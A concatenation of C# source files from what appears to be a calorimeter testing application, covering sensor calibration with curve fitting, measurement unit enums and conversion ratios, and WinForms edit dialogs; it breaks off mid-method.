this.view3Panel.Name = "view3Panel";
this.view3Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view3Panel.OuterColor2 = System.Drawing.Color.White;
this.view3Panel.Size = new System.Drawing.Size(450, 915);
this.view3Panel.Spacing = 0;
this.view3Panel.TabIndex = 2;
this.view3Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view3Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// CtrlDevicePlc
//
this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.Name = "CtrlDevicePlc";
this.Size = new System.Drawing.Size(1816, 915);
this.bgPanel.ResumeLayout(false);
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private Ulee.Controls.UlPanel view4Panel;
private Ulee.Controls.UlPanel view3Panel;
private Ulee.Controls.UlPanel view2Panel;
private Ulee.Controls.UlPanel view1Panel;
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using FirebirdSql.Data.FirebirdClient;
using Ulee.Intel;
using Ulee.Utils;
namespace Hnc.Calorimeter.Server
{
public class CalibratorCollection
{
public CalibratorCollection()
{
Ini = new UlIniFile(csCalibIniFName);
Category = new Dictionary<string, Dictionary<int, CalibratorRow>>();
Initialize();
}
private const string csCalibIniFName = @"..\..\Config\Hnc.Calorimeter.3R.Calibrator.Ini";
public UlIniFile Ini { get; private set; }
public Dictionary<string, Dictionary<int, CalibratorRow>> Category { get; private set; }
public Dictionary<int, CalibratorRow> this[string key]
{ get { return Category[key]; } }
private void Initialize()
{
Category.Add("All", new Dictionary<int, CalibratorRow>());
int i = 1;
string key = $"Item{i}";
string value = Ini.GetString("All", key);
while (value != "")
{
Category.Add(value, new Dictionary<int, CalibratorRow>());
i++;
key = $"Item{i}";
value = Ini.GetString("All", key);
}
Dictionary<int, CalibratorRow> rows = null;
Dictionary<int, CalibratorRow> allRows = null;
foreach (KeyValuePair<string, Dictionary<int, CalibratorRow>> calRow in Category)
{
if (calRow.Key == "All")
{
allRows = calRow.Value;
allRows.Clear();
}
else
{
rows = calRow.Value;
rows.Clear();
i = 1;
key = $"Item{i}";
value = Ini.GetString(calRow.Key, key);
while (value != "")
{
string[] keys = value.Split(new[] { ',' }, StringSplitOptions.None);
CalibratorRow row = new CalibratorRow(int.Parse(keys[1]), keys[0]);
rows.Add(row.No, row);
allRows.Add(row.No, row);
i++;
key = $"Item{i}";
value = Ini.GetString(calRow.Key, key);
}
}
}
}
}
public class CalibratorRow
{
public CalibratorRow(int no, string name)
{
Checked = false;
No = no;
Name = name;
Raw = 0;
Calibrator = new Calibrator();
}
public Calibrator Calibrator { get; private set; }
public bool Checked { get; set; }
public int No { get; set; }
public string Name { get; set; }
public float Raw { get; set; }
public float Real { get; set; }
public float PV1
{
get { return Calibrator.Points[0].PV; }
set { Calibrator.Points[0].PV = value; }
}
public float SV1
{
get { return Calibrator.Points[0].SV; }
set { Calibrator.Points[0].SV = value; }
}
public float PV2
{
get { return Calibrator.Points[1].PV; }
set { Calibrator.Points[1].PV = value; }
}
public float SV2
{
get { return Calibrator.Points[1].SV; }
set { Calibrator.Points[1].SV = value; }
}
public float PV3
{
get { return Calibrator.Points[2].PV; }
set { Calibrator.Points[2].PV = value; }
}
public float SV3
{
get { return Calibrator.Points[2].SV; }
set { Calibrator.Points[2].SV = value; }
}
public float PV4
{
get { return Calibrator.Points[3].PV; }
set { Calibrator.Points[3].PV = value; }
}
public float SV4
{
get { return Calibrator.Points[3].SV; }
set { Calibrator.Points[3].SV = value; }
}
public float PV5
{
get { return Calibrator.Points[4].PV; }
set { Calibrator.Points[4].PV = value; }
}
public float SV5
{
get { return Calibrator.Points[4].SV; }
set { Calibrator.Points[4].SV = value; }
}
public float PV6
{
get { return Calibrator.Points[5].PV; }
set { Calibrator.Points[5].PV = value; }
}
public float SV6
{
get { return Calibrator.Points[5].SV; }
set { Calibrator.Points[5].SV = value; }
}
public float PV7
{
get { return Calibrator.Points[6].PV; }
set { Calibrator.Points[6].PV = value; }
}
public float SV7
{
get { return Calibrator.Points[6].SV; }
set { Calibrator.Points[6].SV = value; }
}
public float PV8
{
get { return Calibrator.Points[7].PV; }
set { Calibrator.Points[7].PV = value; }
}
public float SV8
{
get { return Calibrator.Points[7].SV; }
set { Calibrator.Points[7].SV = value; }
}
public float PV9
{
get { return Calibrator.Points[8].PV; }
set { Calibrator.Points[8].PV = value; }
}
public float SV9
{
get { return Calibrator.Points[8].SV; }
set { Calibrator.Points[8].SV = value; }
}
public float PV10
{
get { return Calibrator.Points[9].PV; }
set { Calibrator.Points[9].PV = value; }
}
public float SV10
{
get { return Calibrator.Points[9].SV; }
set { Calibrator.Points[9].SV = value; }
}
public float PV11
{
get { return Calibrator.Points[10].PV; }
set { Calibrator.Points[10].PV = value; }
}
public float SV11
{
get { return Calibrator.Points[10].SV; }
set { Calibrator.Points[10].SV = value; }
}
public float PV12
{
get { return Calibrator.Points[11].PV; }
set { Calibrator.Points[11].PV = value; }
}
public float SV12
{
get { return Calibrator.Points[11].SV; }
set { Calibrator.Points[11].SV = value; }
}
public float PV13
{
get { return Calibrator.Points[12].PV; }
set { Calibrator.Points[12].PV = value; }
}
public float SV13
{
get { return Calibrator.Points[12].SV; }
set { Calibrator.Points[12].SV = value; }
}
public float PV14
{
get { return Calibrator.Points[13].PV; }
set { Calibrator.Points[13].PV = value; }
}
public float SV14
{
get { return Calibrator.Points[13].SV; }
set { Calibrator.Points[13].SV = value; }
}
public float PV15
{
get { return Calibrator.Points[14].PV; }
set { Calibrator.Points[14].PV = value; }
}
public float SV15
{
get { return Calibrator.Points[14].SV; }
set { Calibrator.Points[14].SV = value; }
}
public float PV16
{
get { return Calibrator.Points[15].PV; }
set { Calibrator.Points[15].PV = value; }
}
public float SV16
{
get { return Calibrator.Points[15].SV; }
set { Calibrator.Points[15].SV = value; }
}
}
public class CalibrationPoint
{
public CalibrationPoint(float pv, float sv)
{
PV = pv;
SV = sv;
}
public float PV { get; set; }
public float SV { get; set; }
}
public class Calibrator
{
public Calibrator()
{
Clear();
Points = new List<CalibrationPoint>();
for (int i = 0; i < 16; i++)
{
Points.Add(new CalibrationPoint(0, 0));
}
}
public bool Active { get; set; }
public List<CalibrationPoint> Points { get; }
public double RawA { get; set; }
public double RawB { get; set; }
public double RawC { get; set; }
public double DiffA { get; set; }
public double DiffB { get; set; }
public double DiffC { get; set; }
public void Clear()
{
Active = false;
RawA = 0;
RawB = 1;
RawC = 0;
DiffA = 0;
DiffB = 0;
DiffC = 0;
}
public void CurveFit(int length)
{
if (length < 2)
{
throw new Exception("Occured curvefit's data length low error in Calibrator.CurveFit");
}
double[] rawX = new double[length];
double[] rawY = new double[length];
for (int i=0; i<length; i++)
{
rawX[i] = Points[i].PV;
rawY[i] = Points[i].SV;
}
DiffA = 0;
DiffB = 0;
DiffC = 0;
try
{
switch (length)
{
case 2:
RawA = rawY[0] - rawX[0];
RawB = (rawY[1] - rawY[0]) / (rawX[1] - rawX[0]);
RawC = 0;
break;
default:
if ((IsDoubleArrayAllZero(rawX) == false) &&
(IsDoubleArrayAllZero(rawY) == false))
{
double[] raw = Fitting.LsFit(rawX, rawY, 2);
RawA = raw[0];
RawB = raw[1];
RawC = raw[2];
}
else
{
RawA = 0;
RawB = 1;
RawC = 0;
}
break;
}
Active = true;
}
catch (Exception e)
{
Clear();
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
throw new Exception("Occured calculation error in Calibrator.CurveFit");
}
}
public float Execute(float value)
{
if (Active == false) return value;
double raw = RawA + RawB * value + RawC * Math.Pow(value, 2);
if ((double.IsInfinity(raw) == true) || (double.IsNaN(raw) == true)) raw = 0.0;
return (float)raw;
}
private bool IsDoubleArrayAllZero(double[] array)
{
bool ret = true;
foreach (double value in array)
{
if (value != 0.0)
{
ret = false;
break;
}
}
return ret;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using Ulee.Controls;
namespace Hnc.Calorimeter.Client
{
public partial class FormControllerEdit : UlFormEng
{
public FormControllerEdit()
{
InitializeComponent();
Initialize();
}
public List<CheckBox> Checks;
private void Initialize()
{
Checks = new List<CheckBox>();
Checks.Add(svCheck);
Checks.Add(outCheck);
Checks.Add(modeCheck);
Checks.Add(pCheck);
Checks.Add(iCheck);
Checks.Add(dCheck);
Checks.Add(flCheck);
}
private void FormControllerEdit_Load(object sender, EventArgs e)
{
foreach (CheckBox chk in Checks)
{
chk.Checked = false;
}
modeCombo.SelectedIndex = 0;
}
private void FormControllerEdit_KeyPress(object sender, KeyPressEventArgs e)
{
if (e.KeyChar == (char)Keys.Escape)
{
cancelButton.PerformClick();
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Ulee.Utils;
namespace Hnc.Calorimeter.Client
{
#region enum Unit
public enum EUnitType
{
[Description("None")]
None,
[Description("Current")]
Current,
[Description("Voltage")]
Voltage,
[Description("Frequency")]
Frequency,
[Description("Flux")]
Flux,
[Description("Ratio")]
Ratio,
[Description("Humidity Ratio")]
HumidityRatio,
[Description("Power")]
Power,
[Description("Power Comsumption")]
PowerComsumption,
[Description("Velocity")]
Velocity,
[Description("Volume")]
Volume,
[Description("Time")]
Time,
[Description("Capacity")]
Capacity,
[Description("Enthalpy")]
Enthalpy,
[Description("Heat")]
Heat,
[Description("EER/COP")]
EER_COP,
[Description("Pressure")]
Pressure,
[Description("Diff. Pressure")]
DiffPressure,
[Description("Atm. Pressure")]
AtmPressure,
[Description("Air Flow")]
AirFlow,
[Description("Temperature")]
Temperature
}
public enum EUnitSingle
{
[Description("None")]
None,
[Description("A")]
A,
[Description("V")]
V,
[Description("Hz")]
Hz,
[Description("kg/h")]
kg_h,
[Description("%")]
Percent,
[Description("kg/kg'")]
kg_kg,
[Description("W")]
W,
[Description("Wh")]
Wh,
[Description("m/s")]
m_s,
[Description("㎥/kg")]
m3_kg
}
public enum EUnitAirFlow
{
[Description("CMM")]
CMM,
[Description("CFM")]
CFM,
[Description("CMH")]
CMH
}
public enum EUnitCapacity
{
[Description("W")]
W,
[Description("kcal/h")]
kcal,
[Description("Btu/h")]
Btu,
[Description("kJ/h")]
kJ
}
public enum EUnitEnthalpy
{
[Description("W/kg'")]
W,
[Description("kcal/kg'")]
kcal,
[Description("Btu/kg'")]
Btu,
[Description("kJ/kg'")]
kJ
}
public enum EUnitHeat
{
[Description("W/kg℃")]
W,
[Description("kcal/kg℃")]
kcal,
[Description("Btu/kg℃")]
Btu,
[Description("kJ/kg℃")]
kJ
}
public enum EUnitEER_COP
{
[Description("W/W")]
W,
[Description("kcal/hW")]
kcal,
[Description("Btu/hW")]
Btu,
[Description("kJ/hW")]
kj
}
public enum EUnitTemperature
{
[Description("℃")]
Celsius,
[Description("ºF")]
Fahrenheit
}
public enum EUnitPressure
{
[Description("Bar")]
Bar,
[Description("kPa")]
kPa,
[Description("MPa")]
MPa,
[Description("kg/㎠")]
kg_cm2
}
public enum EUnitDiffPressure
{
[Description("mmAq")]
mmAq,
[Description("Pa")]
Pa,
[Description("kPa")]
kPa,
[Description("kg/㎠")]
kg_cm2
}
public enum EUnitAtmPressure
{
[Description("mmAq")]
mmAq,
[Description("Pa")]
Pa,
[Description("kPa")]
kPa,
[Description("mmHg")]
mmHg
}
public enum EUnitTime
{
[Description("sec")]
sec,
[Description("min")]
min
}
#endregion
static public class UnitQuery
{
static public string GetName(EUnitType type)
{
return type.ToString();
}
static public string GetUnitDescription(EUnitType type, int unit=0)
{
string desc = "None";
switch (type)
{
case EUnitType.None:
case EUnitType.Current:
case EUnitType.Voltage:
case EUnitType.Frequency:
case EUnitType.Flux:
case EUnitType.Ratio:
case EUnitType.HumidityRatio:
case EUnitType.Power:
case EUnitType.PowerComsumption:
case EUnitType.Velocity:
case EUnitType.Volume:
desc = EnumHelper.GetNames<EUnitSingle>()[(int)type];
break;
case EUnitType.Time:
desc = EnumHelper.GetNames<EUnitTime>()[unit];
break;
case EUnitType.Capacity:
desc = EnumHelper.GetNames<EUnitCapacity>()[unit];
break;
case EUnitType.Enthalpy:
desc = EnumHelper.GetNames<EUnitEnthalpy>()[unit];
break;
case EUnitType.Heat:
desc = EnumHelper.GetNames<EUnitHeat>()[unit];
break;
case EUnitType.EER_COP:
desc = EnumHelper.GetNames<EUnitEER_COP>()[unit];
break;
case EUnitType.Pressure:
desc = EnumHelper.GetNames<EUnitPressure>()[unit];
break;
case EUnitType.DiffPressure:
desc = EnumHelper.GetNames<EUnitDiffPressure>()[unit];
break;
case EUnitType.AtmPressure:
desc = EnumHelper.GetNames<EUnitAtmPressure>()[unit];
break;
case EUnitType.AirFlow:
desc = EnumHelper.GetNames<EUnitAirFlow>()[unit];
break;
case EUnitType.Temperature:
desc = EnumHelper.GetNames<EUnitTemperature>()[unit];
break;
}
return desc;
}
}
public class UnitConvert
{
public UnitConvert(EUnitType type, int from, int to, bool enabled=true)
{
Type = type;
From = from;
To = to;
Enabled = enabled;
}
#region Properties
public EUnitType Type { get; set; }
public int From { get; set; }
public string FromDescription { get { return GetDescription(Type, From); } }
public int To { get; set; }
public bool Enabled { get; set; }
public string ToDescription { get { return GetDescription(Type, To); } }
#endregion
#region Methods
#region Convert
private string GetDescription(EUnitType type, int unit)
{
string desc;
switch (type)
{
case EUnitType.Current:
case EUnitType.Voltage:
case EUnitType.Frequency:
case EUnitType.Flux:
case EUnitType.Ratio:
case EUnitType.HumidityRatio:
case EUnitType.Power:
case EUnitType.PowerComsumption:
case EUnitType.Velocity:
case EUnitType.Volume:
desc = EnumHelper.GetNames<EUnitSingle>()[(int)type];
break;
case EUnitType.AirFlow:
desc = EnumHelper.GetNames<EUnitAirFlow>()[unit];
break;
case EUnitType.Capacity:
desc = EnumHelper.GetNames<EUnitCapacity>()[unit];
break;
case EUnitType.Enthalpy:
desc = EnumHelper.GetNames<EUnitEnthalpy>()[unit];
break;
case EUnitType.Heat:
desc = EnumHelper.GetNames<EUnitHeat>()[unit];
break;
case EUnitType.EER_COP:
desc = EnumHelper.GetNames<EUnitEER_COP>()[unit];
break;
case EUnitType.Temperature:
desc = EnumHelper.GetNames<EUnitTemperature>()[unit];
break;
case EUnitType.Pressure:
desc = EnumHelper.GetNames<EUnitPressure>()[unit];
break;
case EUnitType.DiffPressure:
desc = EnumHelper.GetNames<EUnitDiffPressure>()[unit];
break;
case EUnitType.AtmPressure:
desc = EnumHelper.GetNames<EUnitAtmPressure>()[unit];
break;
case EUnitType.Time:
desc = EnumHelper.GetNames<EUnitTime>()[unit];
break;
default:
desc = EUnitType.None.ToString();
break;
}
return desc;
}
public double Convert(double value)
{
return Convert(value, Type, From, To);
}
public double Convert(double value, int to)
{
return Convert(value, Type, From, to);
}
public double Convert(double value, EUnitType type, int from, int to)
{
if (Enabled == false) return value;
double ret = 0;
switch (type)
{
case EUnitType.None:
case EUnitType.Current:
case EUnitType.Voltage:
case EUnitType.Frequency:
case EUnitType.Flux:
case EUnitType.Ratio:
case EUnitType.HumidityRatio:
case EUnitType.Power:
case EUnitType.PowerComsumption:
case EUnitType.Velocity:
case EUnitType.Volume:
ret = value;
break;
case EUnitType.Temperature:
ret = ConvertTemperature(value, from, to);
break;
case EUnitType.Time:
ret = ConvertTime(value, from, to);
break;
default:
ret = value * GetRatio(type, from, to);
break;
}
return ret;
}
private double ConvertTemperature(double value, int from, int to)
{
if (from == to) return value;
switch ((EUnitTemperature)from)
{
case EUnitTemperature.Celsius:
value = value * 1.8 + 32.0;
break;
case EUnitTemperature.Fahrenheit:
value = (value - 32.0) / 1.8;
break;
}
return value;
}
private double ConvertTime(double value, int from, int to)
{
if (from == to) return value;
double min = 0;
double sec = 0;
switch ((EUnitTime)from)
{
case EUnitTime.sec:
min = (value - (value % 60)) / 60.0;
sec = (value % 60) / 100.0;
break;
case EUnitTime.min:
min = Math.Round(value) * 60.0;
sec = (value - Math.Round(value)) * 100.0;
break;
}
return (min + sec);
}
#endregion
private double GetRatio(EUnitType type, int from, int to)
{
double ratio = 0;
switch (type)
{
case EUnitType.AirFlow:
ratio = GetAirFlowRatio((EUnitAirFlow)from, (EUnitAirFlow)to);
break;
case EUnitType.Capacity:
case EUnitType.Enthalpy:
case EUnitType.Heat:
case EUnitType.EER_COP:
ratio = GetCapacityRatio((EUnitCapacity)from, (EUnitCapacity)to);
break;
case EUnitType.Pressure:
ratio = GetPressureRatio((EUnitPressure)from, (EUnitPressure)to);
break;
case EUnitType.AtmPressure:
ratio = GetAtmPressureRatio((EUnitAtmPressure)from, (EUnitAtmPressure)to);
break;
case EUnitType.DiffPressure:
ratio = GetDiffPressureRatio((EUnitDiffPressure)from, (EUnitDiffPressure)to);
break;
}
return ratio;
}
#region AirFlow
private double GetAirFlowRatio(EUnitAirFlow from, EUnitAirFlow to)
{
double ratio = 0;
switch (from)
{
case EUnitAirFlow.CMM:
ratio = GetAirFlowRatioCMM(to);
break;
case EUnitAirFlow.CFM:
ratio = GetAirFlowRatioCFM(to);
break;
case EUnitAirFlow.CMH:
ratio = GetAirFlowRatioCMH(to);
break;
}
return ratio;
}
private double GetAirFlowRatioCMM(EUnitAirFlow to)
{
double ratio = 0;
switch (to)
{
case EUnitAirFlow.CMM:
ratio = 1.0;
break;
case EUnitAirFlow.CFM:
ratio = 35.3147;
break;
case EUnitAirFlow.CMH:
ratio = 60.0;
break;
}
return ratio;
}
private double GetAirFlowRatioCFM(EUnitAirFlow to)
{
double ratio = 0;
switch (to)
{
case EUnitAirFlow.CMM:
ratio = 1.0 / 35.3147;
break;
case EUnitAirFlow.CFM:
ratio = 1.0;
break;
case EUnitAirFlow.CMH:
ratio = 1.0 / 35.3147 * 60.0;
break;
}
return ratio;
}
private double GetAirFlowRatioCMH(EUnitAirFlow to)
{
double ratio = 0;
switch (to)
{
case EUnitAirFlow.CMM:
ratio = 1.0 / 60.0;
break;
case EUnitAirFlow.CFM:
ratio = 1.0 / 60.0 * 35.3147;
break;
case EUnitAirFlow.CMH:
ratio = 1.0;
break;
}
return ratio;
}
#endregion
#region Capacity and Enthalpy
private double GetCapacityRatio(EUnitCapacity from, EUnitCapacity to)
{
double ratio = 0;
switch (from)
{
case EUnitCapacity.W:
ratio = GetCapacityRatioWatt(to);
break;
case EUnitCapacity.kcal:
ratio = GetCapacityRatiokcal(to);
break;
case EUnitCapacity.Btu:
ratio = GetCapacityRatioBtu(to);
break;
case EUnitCapacity.kJ:
ratio = GetCapacityRatiokj(to);
break;
}
return ratio;
}
private double GetCapacityRatioWatt(EUnitCapacity to)
{
double ratio = 0;
switch (to)
{
case EUnitCapacity.W:
ratio = 1.0;
break;
case EUnitCapacity.kcal:
ratio = 1.0 / 1.1628;
break;
case EUnitCapacity.Btu:
ratio = 1.0 / 1.1628 * 3.968;
break;
case EUnitCapacity.kJ:
ratio = 1.0 / 1.1628 * 4.1868;
break;
}
return ratio;
}
private double GetCapacityRatiokcal(EUnitCapacity to)
{
double ratio = 0;
switch (to)
{
case EUnitCapacity.W:
ratio = 1.1628;
break;
case EUnitCapacity.kcal:
ratio = 1.0;
break;
case EUnitCapacity.Btu:
ratio = 3.968;
break;
case EUnitCapacity.kJ:
ratio = 4.1868;
break;
}
return ratio;
}
private double GetCapacityRatioBtu(EUnitCapacity to)
{
double ratio = 0;
switch (to)
{
case EUnitCapacity.W:
ratio = 1.0 / 3.968 * 1.1628;
break;
case EUnitCapacity.kcal:
ratio = 1.0 / 3.968;
break;
case EUnitCapacity.Btu:
ratio = 1.0;
break;
case EUnitCapacity.kJ:
ratio = 1.0 / 3.968 * 4.1868;
break;
}
return ratio;
}
private double GetCapacityRatiokj(EUnitCapacity to)
{
double ratio = 0;
switch (to)
{
case EUnitCapacity.W:
ratio = 1.0 / 4.1868 * 1.1628;
break;
case EUnitCapacity.kcal:
ratio = 1.0 / 4.1868;
break;
case EUnitCapacity.Btu:
ratio = 1.0 / 4.1868 * 3.968;
break;
case EUnitCapacity.kJ:
ratio = 1.0;
break;
}
return ratio;
}
#endregion
#region Pressure
private double GetPressureRatio(EUnitPressure from, EUnitPressure to)
{
double ratio = 0;
switch (from)
{
case EUnitPressure.Bar:
ratio = GetBarPressureRatioBar(to);
break;
case EUnitPressure.kPa:
ratio = GetBarPressureRatiokPa(to);
break;
case EUnitPressure.MPa:
ratio = GetBarPressureRatioMPa(to);
break;
case EUnitPressure.kg_cm2:
ratio = GetBarPressureRatiokg_cm2(to);
break;
}
return ratio;
}
private double GetBarPressureRatioBar(EUnitPressure to)
{
double ratio = 0;
switch (to)
{
case EUnitPressure.Bar:
ratio = 1.0;
break;
case EUnitPressure.kPa:
ratio = 100.0;
break;
case EUnitPressure.MPa:
ratio = 0.1;
break;
case EUnitPressure.kg_cm2:
ratio = 1.019716;
break;
}
return ratio;
}
private double GetBarPressureRatiokPa(EUnitPressure to)
{
double ratio = 0;
switch (to)
{
case EUnitPressure.Bar:
ratio = 1.0 / 100.0;
break;
case EUnitPressure.kPa:
ratio = 1.0;
break;
case EUnitPressure.MPa:
ratio = 1.0 / 100.0 * 0.1;
break;
case EUnitPressure.kg_cm2:
ratio = 1.0 / 100.0 * 1.019716;
break;
}
return ratio;
}
private double GetBarPressureRatioMPa(EUnitPressure to)
{
double ratio = 0;
switch (to)
{
case EUnitPressure.Bar:
ratio = 1.0 / 0.1;
break;
case EUnitPressure.kPa:
ratio = 1.0 / 0.1 * 100.0;
break;
case EUnitPressure.MPa:
ratio = 1.0;
break;
case EUnitPressure.kg_cm2:
ratio = 1.0 / 0.1 * 1.019716;
break;
}
return ratio;
}
private double GetBarPressureRatiokg_cm2(EUnitPressure to)
{
double ratio = 0;
switch (to)
{
case EUnitPressure.Bar:
ratio = 1.0 / 1.019716;
break;
case EUnitPressure.kPa:
ratio = 1.0 / 1.019716 * 100.0;
break;
case EUnitPressure.MPa:
ratio = 1.0 / 1.019716 * 0.1;
break;
case EUnitPressure.kg_cm2:
ratio = 1.0;
break;
}
return ratio;
}
#endregion
#region Atm Pressure
private double GetAtmPressureRatio(EUnitAtmPressure from, EUnitAtmPressure to)
{
double ratio = 0;
switch (from)
{
case EUnitAtmPressure.mmAq:
ratio = GetAtmPressureRatiommAq(to);
break;
case EUnitAtmPressure.Pa:
ratio = GetAtmPressureRatioPa(to);
break;
case EUnitAtmPressure.kPa:
ratio = GetAtmPressureRatiokPa(to);
break;
case EUnitAtmPressure.mmHg: //* Default
ratio = GetAtmPressureRatiommHg(to);
break;
}
return ratio;
}
private double GetAtmPressureRatiommAq(EUnitAtmPressure to)
{
double ratio = 0;
switch (to)
{
case EUnitAtmPressure.mmAq:
ratio = 1.0;
break;
case EUnitAtmPressure.Pa:
ratio = 1.0 / 13.5951 * 133.3224;
break;
case EUnitAtmPressure.kPa:
ratio = 1.0 / 13.5951 * 0.1333224;
break;
case EUnitAtmPressure.mmHg:
ratio = 1.0 / 13.5951;
break;
}
return ratio;
}
private double GetAtmPressureRatioPa(EUnitAtmPressure to)
{
double ratio = 0;
switch (to)
{
case EUnitAtmPressure.mmAq:
ratio = 1.0 / 133.3224 * 13.5951;
break;
case EUnitAtmPressure.Pa:
ratio = 1.0;
break;
case EUnitAtmPressure.kPa:
ratio = 1.0 / 133.3224 * 0.1333224;
break;
case EUnitAtmPressure.mmHg:
ratio = 1.0 / 133.3224;
break;
}
return ratio;
}
private double GetAtmPressureRatiokPa(EUnitAtmPressure to)
{
double ratio = 0;
switch (to)
{
case EUnitAtmPressure.mmAq:
ratio = 1.0 / 0.1333224 * 13.5951;
break;
case EUnitAtmPressure.Pa:
ratio = 1.0 / 0.1333224 * 133.3224;
break;
case EUnitAtmPressure.kPa:
ratio = 1.0;
break;
case EUnitAtmPressure.mmHg:
ratio = 1.0 / 0.1333224;
break;
}
return ratio;
}
private double GetAtmPressureRatiommHg(EUnitAtmPressure to)
{
double ratio = 0;
switch (to)
{
case EUnitAtmPressure.mmAq:
ratio = 13.5951;
break;
case EUnitAtmPressure.Pa:
ratio = 133.3224;
break;
case EUnitAtmPressure.kPa:
ratio = 0.1333224;
break;
case EUnitAtmPressure.mmHg:
ratio = 1.0;
break;
}
return ratio;
}
#endregion
#region Diff Pressure
private double GetDiffPressureRatio(EUnitDiffPressure from, EUnitDiffPressure to)
{
double ratio = 0;
switch (from)
{
case EUnitDiffPressure.mmAq: //* Default
ratio = GetDiffPressureRatiommAq(to);
break;
case EUnitDiffPressure.Pa:
ratio = GetDiffPressureRatioPa(to);
break;
case EUnitDiffPressure.kPa:
ratio = GetDiffPressureRatiokPa(to);
break;
case EUnitDiffPressure.kg_cm2:
ratio = GetDiffPressureRatiokg_cm2(to);
break;
}
return ratio;
}
private double GetDiffPressureRatiommAq(EUnitDiffPressure to)
{
double ratio = 0;
switch (to)
{
case EUnitDiffPressure.mmAq:
ratio = 1.0;
break;
case EUnitDiffPressure.Pa:
ratio = 9.80665;
break;
case EUnitDiffPressure.kPa:
ratio = 0.00980665;
break;
case EUnitDiffPressure.kg_cm2:
ratio = 0.0001;
break;
}
return ratio;
}
private double GetDiffPressureRatioPa(EUnitDiffPressure to)
{
double ratio = 0;
switch (to)
{
case EUnitDiffPressure.mmAq:
ratio = 1.0 / 9.80665;
break;
case EUnitDiffPressure.Pa:
ratio = 1.0;
break;
case EUnitDiffPressure.kPa:
ratio = 1.0 / 9.80665 * 0.00980665;
break;
case EUnitDiffPressure.kg_cm2:
ratio = 1.0 / 9.80665 * 0.0001;
break;
}
return ratio;
}
private double GetDiffPressureRatiokPa(EUnitDiffPressure to)
{
double ratio = 0;
switch (to)
{
case EUnitDiffPressure.mmAq:
ratio = 1.0 / 0.00980665;
break;
case EUnitDiffPressure.Pa:
ratio = 1.0 / 0.00980665 * 9.80665;
break;
case EUnitDiffPressure.kPa:
ratio = 1.0;
break;
case EUnitDiffPressure.kg_cm2:
ratio = 1.0 / 0.00980665 * 0.0001;
break;
}
return ratio;
}
private double GetDiffPressureRatiokg_cm2(EUnitDiffPressure to)
{
double ratio = 0;
switch (to)
{
case EUnitDiffPressure.mmAq:
ratio = 1.0 / 0.0001;
break;
case EUnitDiffPressure.Pa:
ratio = 1.0 / 0.0001 * 9.80665;
break;
case EUnitDiffPressure.kPa:
ratio = 1.0 / 0.0001 * 0.00980665;
break;
case EUnitDiffPressure.kg_cm2:
ratio = 1.0;
break;
}
return ratio;
}
#endregion
#endregion
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using Ulee.Controls;
namespace Hnc.Calorimeter.Server
{
public partial class FormUserEdit : UlFormEng
{
public string UserName
{
get { return userNameEdit.Text; }
set { userNameEdit.Text = value; }
}
public int Authority
{
get { return userGradeCombo.SelectedIndex + 1; }
set { userGradeCombo.SelectedIndex = value - 1; }
}
public string Password
{
get { return userPasswdEdit.Text; }
set { userPasswdEdit.Text = value; }
}
public string Memo
{
get { return userMemoEdit.Text; }
set { userMemoEdit.Text = value; }
}
public FormUserEdit()
{
InitializeComponent();
}
private void okButton_Click(object sender, EventArgs e)
{
if (userNameEdit.Text.Trim() == "")
{
ActiveControl = userNameEdit;
return;
}
Close();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Drawing;
using System.Linq;
using System.Windows.Forms;
using Ulee.Controls;
namespace Hnc.Calorimeter.Server
{
public partial class CtrlCalibTop : UlUserControlEng
{
public CtrlCalibTop()
{
InitializeComponent();
Initialize();
}
private void CtrlCalibTop_Enter(object sender, EventArgs e)
{
DispName();
}
private void DispName()
{
int calibNo = Resource.Ini.GetInteger("Calibrator", "CalibrationNo");
if (calibNo < 0)
{
nameEdit.Text = " None";
}
else
{
nameEdit.Text = " " + Resource.Db.CalibratorSet.GetMemo(calibNo);
}
}
private void Initialize()
{
foreach (KeyValuePair<string, Dictionary<int, CalibratorRow>> row
in Resource.Server.Devices.Calibrators.Category)
{
CtrlCalibGrid ctrl = new CtrlCalibGrid(row.Value.Values.ToList());
ctrl.SetEnableColumn(3);
ctrl.RefreshView += DoRefreshView;
TabPage page = new TabPage($" {row.Key} ");
page.Controls.Add(ctrl);
page.BackColor = Color.White;
calibTab.TabPages.Add(page);
}
totalPointsCombo.SelectedIndex = 1;
}
private void DoRefreshView(object sender, EventArgs args)
{
foreach (TabPage page in calibTab.TabPages)
{
CtrlCalibGrid ctrl = page.Controls[0] as CtrlCalibGrid;
ctrl.channelGridView.RefreshData();
}
}
private void totalPointsCombo_SelectedIndexChanged(object sender, EventArgs e)
{
if (calibTab.SelectedTab == null) return;
(calibTab.SelectedTab.Controls[0] as CtrlCalibGrid)
.SetEnableColumn(totalPointsCombo.SelectedIndex + 2);
}
private void setButton_Click(object sender, EventArgs e)
{
if (calibTab.SelectedTab == null) return;
(calibTab.SelectedTab.Controls[0] as CtrlCalibGrid)
.SetValueSV(float.Parse(svEdit.Text));
}
private void getPvButton_Click(object sender, EventArgs e)
{
if (calibTab.SelectedTab == null) return;
(calibTab.SelectedTab.Controls[0] as CtrlCalibGrid)
.SetValuePV();
}
private void calibrateButton_Click(object sender, EventArgs e)
{
if (calibTab.SelectedTab == null) return;
(calibTab.SelectedTab.Controls[0] as CtrlCalibGrid)
.Calibrate();
}
private void openButton_Click(object sender, EventArgs e)
{
FormOpenCalibration form = new FormOpenCalibration();
if (form.ShowDialog() == DialogResult.OK)
{
